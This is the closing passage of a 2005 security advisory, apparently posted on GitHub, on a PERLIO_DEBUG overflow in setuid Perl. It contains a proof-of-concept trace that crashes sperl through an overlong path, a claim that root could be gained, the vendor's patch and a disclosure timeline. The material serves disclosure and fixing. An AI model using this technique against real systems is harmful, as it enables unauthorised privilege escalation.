chdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"...)
printf("Dirlen​: %d\n", 974Dirlen​: 974)
fopen("take_me.pl", "w+")
fwrite("#!/usr/bin/sperl5.8.4\n# \n# Be pr"..., 186, 1, 0x8049d70)
fclose(0x8049d70)
getcwd(0xbfffd1c0, 10000)
strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "/")
strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "take_me.pl")
printf("running​: %s\n", "/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
chmod("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0755)
putenv(0x8048bca, 493, 1, 0x8049d70, 0x752f2123)
system("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"... <unfinished ...>
...
Perl_croak(0x8057b68, 0x8056480, 0, 0, 1 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

It appears as if this vulnerability could be exploited to gain root privileges on the machine in
question. The PoC code currently only triggers the SEGV... the proper stack ninja has not yet
been executed in order to take full blown root.

The following patch for this bug was provided by Mandrake care of the vendor-sec list. This patch
also fixes the bug that is described in DMA[2005-0131a].

Index​: perlio.c

--- perlio.c (revision 4342)
+++ perlio.c (revision 4346)
@​@​ -454,7 +454,7 @​@​
  va_list ap;
  dSYS;
  va_start(ap, fmt);
- if (!dbg) {
+ if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {
  char *s = PerlEnv_getenv("PERLIO_DEBUG");
  if (s && *s)
  dbg = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
@​@​ -471,7 +471,7 @​@​
  s = CopFILE(PL_curcop);
  if (!s)
  s = "(none)";
- sprintf(buffer, "%s​:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
+ sprintf(buffer, "%.40s​:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
  len = strlen(buffer);
  vsprintf(buffer+len, fmt, ap);
  PerlLIO_write(dbg, buffer, strlen(buffer));

This is timeline associated with this bug.

01/30/2005 09​:29 AM - Mail to larry wall, perlbug, vendor-sec et all
01/31/2005 04​:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl
01/31/2005 08​:31 AM - perl #33990] [RESOLVED]
01/31/2005 11​:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs

-KF

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant